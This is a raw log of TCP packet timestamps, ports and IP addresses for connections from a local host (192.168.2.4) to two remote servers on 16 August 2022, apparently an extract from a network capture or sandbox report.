Aug 16, 2022 11:05:51.464061022 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.465020895 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.465120077 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.465135098 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.465189934 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.466267109 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.466386080 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.466401100 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.466460943 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.467550039 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.467674971 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.467689037 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.467749119 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.468905926 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.469017029 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.469033957 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.469093084 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.470107079 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.470185995 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.470199108 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.470257044 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.471400023 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.471513033 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.471529007 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.471590042 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.472583055 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.472670078 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.472686052 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.472804070 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.473725080 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.473807096 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.473823071 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.473879099 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.474831104 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.474937916 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.474952936 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.475022078 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.475994110 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.476258039 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.476278067 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.476339102 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.477200031 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.477298021 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.477318048 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.477389097 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.478228092 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.478318930 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.478337049 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.478399038 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.479490995 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.479583979 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.479604959 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.479664087 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.480540037 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.480634928 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.480654001 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.481010914 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.481414080 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.481743097 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.481764078 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.481892109 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.482326031 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.482506037 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.482527018 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.482886076 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.483189106 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.483397961 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.483426094 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.483772993 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.484039068 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.484123945 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.484143019 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.484209061 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.484770060 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.484849930 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.484869957 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.484941006 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.485547066 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.485637903 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.485658884 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.485721111 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.485733032 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.485797882 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.485802889 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.485881090 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.485969067 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.486006975 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.489772081 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.489824057 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.489866018 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.489873886 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.489907026 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.489909887 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.489916086 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.489948988 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.489960909 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.489999056 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.497864008 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.497921944 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.497977018 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.498014927 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.504353046 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596148014 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596182108 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596203089 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596220970 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596237898 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596252918 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596256971 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596291065 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596330881 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596362114 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596411943 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596431971 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596451998 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596470118 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596477985 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596487999 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596494913 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596506119 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596515894 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596527100 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596539021 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596546888 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596559048 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596581936 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596601963 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596626997 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596643925 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596657038 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596678019 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596693993 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596705914 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596729040 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596738100 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596755981 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596774101 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596774101 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596802950 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596822023 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596833944 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596857071 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596875906 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596894026 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596906900 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596925020 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596926928 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596945047 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596951962 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596963882 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596973896 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.596982956 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.596998930 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597002029 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597022057 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597027063 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597038984 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597038984 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597057104 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597067118 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597096920 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597125053 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597187042 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597204924 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597222090 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597235918 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597242117 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597256899 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597282887 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.597284079 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.597352982 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718063116 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718126059 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718167067 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718208075 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718249083 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718255997 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718286037 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718291998 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718292952 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718307018 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718334913 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718349934 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718377113 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718389988 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718419075 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718427896 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718461990 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718473911 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718501091 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718513012 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718543053 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718549967 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718583107 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718597889 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718621969 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718637943 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718662024 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718674898 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718702078 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718713045 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718744040 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718754053 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718786001 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718801975 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718833923 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718842030 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718874931 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.718887091 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.718926907 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.738605976 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.825783014 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.825855017 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.825896025 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.825937033 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.825968027 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826009035 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826040983 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826057911 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826078892 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826086044 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826090097 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826100111 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826116085 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826142073 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826159954 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826181889 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826209068 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826246977 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.826278925 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.826339006 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.831979036 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.958045959 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.958348989 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.959561110 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.069003105 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069057941 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069087982 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069099903 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069113970 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069127083 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069143057 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069155931 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069168091 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069180012 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069191933 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069205046 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069221020 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.069297075 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.069333076 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.069338083 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.071090937 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.072155952 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183442116 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183499098 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183545113 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183553934 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183585882 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183595896 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183613062 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183629036 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183650017 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183665037 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.183686018 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.183743954 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.185628891 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.187807083 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.299767017 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.299899101 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.300421953 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.300438881 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.397758007 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.422051907 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.422214031 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.422739029 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.527719975 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533313036 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533380985 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533422947 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533428907 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.533464909 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533474922 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.533483028 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.533502102 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.533559084 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.533571959 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.535761118 CEST	49766	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.537489891 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.653954983 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.661953926 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.662018061 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.662049055 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.662096024 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.662142992 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.662149906 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.663351059 CEST	49767	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.664843082 CEST	49769	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.763484955 CEST	80	49766	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.769226074 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.769891024 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.770392895 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.898078918 CEST	80	49767	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.908179998 CEST	80	49769	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:52.908354044 CEST	49769	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:52.909025908 CEST	49769	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.000860929 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.000940084 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001027107 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001085997 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001138926 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001168013 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001207113 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001218081 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001226902 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001230001 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001287937 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001307964 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001353025 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001410961 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001410961 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001425982 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001486063 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001486063 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001535892 CEST	80	49768	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.001585960 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.001602888 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.004712105 CEST	49768	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.148582935 CEST	80	49769	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.156677008 CEST	80	49769	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.156702995 CEST	80	49769	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:53.156816006 CEST	49769	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.156929016 CEST	49769	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:53.158829927 CEST	49770	80	192.168.2.4	187.45.240.69
